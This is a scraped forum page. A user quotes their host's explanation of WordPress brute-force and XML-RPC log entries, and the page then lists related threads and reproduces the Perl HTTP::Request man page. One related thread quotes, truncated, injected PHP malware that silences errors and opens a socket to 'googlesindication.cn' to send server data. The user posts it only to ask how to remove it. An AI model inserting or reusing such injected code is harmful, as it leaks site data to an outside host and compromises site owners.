02-24-2017
Nothing right now.
---------- Post updated at 11:07 AM ---------- Previous update was at 10:56 AM ----------
This is what my host admin said currently:
Thank you for getting back to us.
The 'HEAD / HTTP/1.0" 200 300' requests you are seeing are multi-choice requests, which require more clarification what sources was actually request. These are typically generated by bad redirects from outside sources via incorrect links.
Regarding the 'POST /wp-login.php HTTP/1.0" 200' and 'POST /xmlrpc.php HTTP/1.0" 404' logs, those are most likely due to someone trying to brute-force your WordPress website. This is an indication of an XML-RPC attack. I would highly advise you to either password protect wp-login.php or wp-admin, in order to prevent outside access to these crucial parts of your website.
Depending on how well you have secured your WordPress site it may eventually lead to the website being compromised. As I see you are using Fail2Ban for your wordpress sites, it should not be an issue.
So, it should not be an issue? have I blown this all out of proportion and worried for nothing, not to mention everybody's time here. If so, I apologize.
But I'm glad to see this forum is active and willing to help.
7 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hello,
Please advise a script/command to remove the following line for a file
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER;
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies
2. Shell Programming and Scripting
Hello
I ask you how to make a
Anti-malicious files and viruses
Or if one of you a small example of the work on the same place and I hope my request
I want a small patch or the process of examination Virus
http://www.google.jo/images/cleardot.gif
---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies
3. Cybersecurity
A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work:
CSI:Internet - Alarm at the pizza service
CSI:Internet - The image of death
CSI:Internet - PDF timebomb
CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies
4. Shell Programming and Scripting
I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard.
From parent.pl
$input1=123;
$input2=abc;
I tried calling it with
system("/usr/bin/perl child.pl $input1 $input2");
and
`perl... (1 Reply)
Discussion started by: grajp002
1 Replies
5. Shell Programming and Scripting
Hi All,
I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ??
print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">");
print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies
6. Shell Programming and Scripting
Hello,
i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin:
Posting links to pastebin scripts are forbidden at this site.
Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies
7. Programming
I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open())
I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
LEARN ABOUT SUSE
http::request
HTTP::Request(3) User Contributed Perl Documentation HTTP::Request(3)
NAME
HTTP::Request - HTTP style request message
SYNOPSIS
require HTTP::Request;
$request = HTTP::Request->new(GET => 'http://www.example.com/');
and usually used like this:
$ua = LWP::UserAgent->new;
$response = $ua->request($request);
DESCRIPTION
"HTTP::Request" is a class encapsulating HTTP style requests, consisting of a request line, some headers, and a content body. Note that the
LWP library uses HTTP style requests even for non-HTTP protocols. Instances of this class are usually passed to the request() method of an
"LWP::UserAgent" object.
"HTTP::Request" is a subclass of "HTTP::Message" and therefore inherits its methods. The following additional methods are available:
$r = HTTP::Request->new( $method, $uri )
$r = HTTP::Request->new( $method, $uri, $header )
$r = HTTP::Request->new( $method, $uri, $header, $content )
Constructs a new "HTTP::Request" object describing a request on the object $uri using method $method. The $method argument must be a
string. The $uri argument can be either a string, or a reference to a "URI" object. The optional $header argument should be a
reference to an "HTTP::Headers" object or a plain array reference of key/value pairs. The optional $content argument should be a
string of bytes.
$r = HTTP::Request->parse( $str )
This constructs a new request object by parsing the given string.
$r->method
$r->method( $val )
This is used to get/set the method attribute. The method should be a short string like "GET", "HEAD", "PUT" or "POST".
$r->uri
$r->uri( $val )
This is used to get/set the uri attribute. The $val can be a reference to a URI object or a plain string. If a string is given, then
it should be parseable as an absolute URI.
$r->header( $field )
$r->header( $field => $value )
This is used to get/set header values and it is inherited from "HTTP::Headers" via "HTTP::Message". See HTTP::Headers for details and
other similar methods that can be used to access the headers.
$r->accept_decodable
This will set the "Accept-Encoding" header to the list of encodings that decoded_content() can decode.
$r->content
$r->content( $bytes )
This is used to get/set the content and it is inherited from the "HTTP::Message" base class. See HTTP::Message for details and other
methods that can be used to access the content.
Note that the content should be a string of bytes. Strings in perl can contain characters outside the range of a byte. The "Encode"
module can be used to turn such strings into a string of bytes.
$r->as_string
$r->as_string( $eol )
Method returning a textual representation of the request.
SEE ALSO
HTTP::Headers, HTTP::Message, HTTP::Request::Common, HTTP::Response
COPYRIGHT
Copyright 1995-2004 Gisle Aas.
This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
perl v5.12.1 2009-06-15 HTTP::Request(3)